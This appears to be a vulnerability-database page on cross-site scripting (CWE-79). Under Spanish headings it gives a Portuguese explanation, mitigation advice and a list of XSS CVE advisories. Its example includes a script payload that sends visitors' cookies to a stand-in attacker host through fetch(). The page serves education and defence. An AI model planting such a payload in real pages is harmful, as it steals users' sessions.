Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-1421MEDIUMcode-projects Online Examination System Add Pages cross site scriptingEPSS 0.3%CVE-2025-1405MEDIUMProduct Catalog Simple <= 1.7.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via show_products ShortcodeEPSS 0.3%CVE-2026-0742MEDIUMSmart Appointment & Booking <= 1.0.7 - Authenticated (Subscriber+) Stored Cross-Site Scripting via saab_save_form_data AJAX ActionEPSS 0.3%CVE-2024-45400MEDIUMCKEditor Open Link plugin vulnerable to Cross-site ScriptingEPSS 0.3%CVE-2025-14701HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in Crafty ControllerEPSS 0.3%CVE-2024-51664MEDIUMWordPress Beds24 Online Booking plugin <= 2.0.25 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-1689MEDIUMThemeMakers PayPal Express Checkout <= 1.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-63441HIGHOpen Source Social Network (OSSN) 8.6 is vulnerable to Cross Site Scripting (XSS) via the parameter param` at endpoint u/administrator/frienEPSS 0.3%CVE-2025-7942MEDIUMPHPGurukul Taxi Stand Management System admin-profile.php cross site scriptingEPSS 0.3%CVE-2024-12308MEDIUMLogo Slider < 4.6.0 - Contributor+ Stored XSSEPSS 0.3%CVE-2025-1690MEDIUMThemeMakers Stripe Checkout <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-61311HIGHA reflected cross-site scripted (XSS) vulnerability in the dfm-menu_alerts.php component of GmbH Mecury Managed Print Services (docuForm) v1EPSS 0.3%CVE-2021-34582MEDIUMPhoenix Contact: FL MGUARD XSS through web-based management and REST APIEPSS 0.3%CVE-2025-7791MEDIUMPHPGurukul Online Security Guards Hiring System search.php cross site scriptingEPSS 0.3%CVE-2026-30830LOWDefuddle: XSS via unescaped string interpolation in _findContentBySchemaText image tagEPSS 0.3%CVE-2025-5285MEDIUMProduct Subtitle for WooCommerce <= 1.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via htmlTag ParameterEPSS 0.3%CVE-2026-90438HIGHNinja Forms <= 3.15.4 - Unauthenticated Stored Cross-Site Scripting via Paragraph Text (RTE) Field SubmissionEPSS 0.3%CVE-2026-109960HIGHFroxlor 2.0.0 before 2.3.14 Stored XSS via Customer Theme ValueEPSS 0.3%CVE-2025-67349MEDIUMA cross-site scripting (XSS) vulnerability was identified in FluentCMS 1.2.3. After logging in as an admin and navigating to the "Add Page" EPSS 0.3%CVE-2025-4405MEDIUMHot Random Image <= 1.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via link ParameterEPSS 0.3%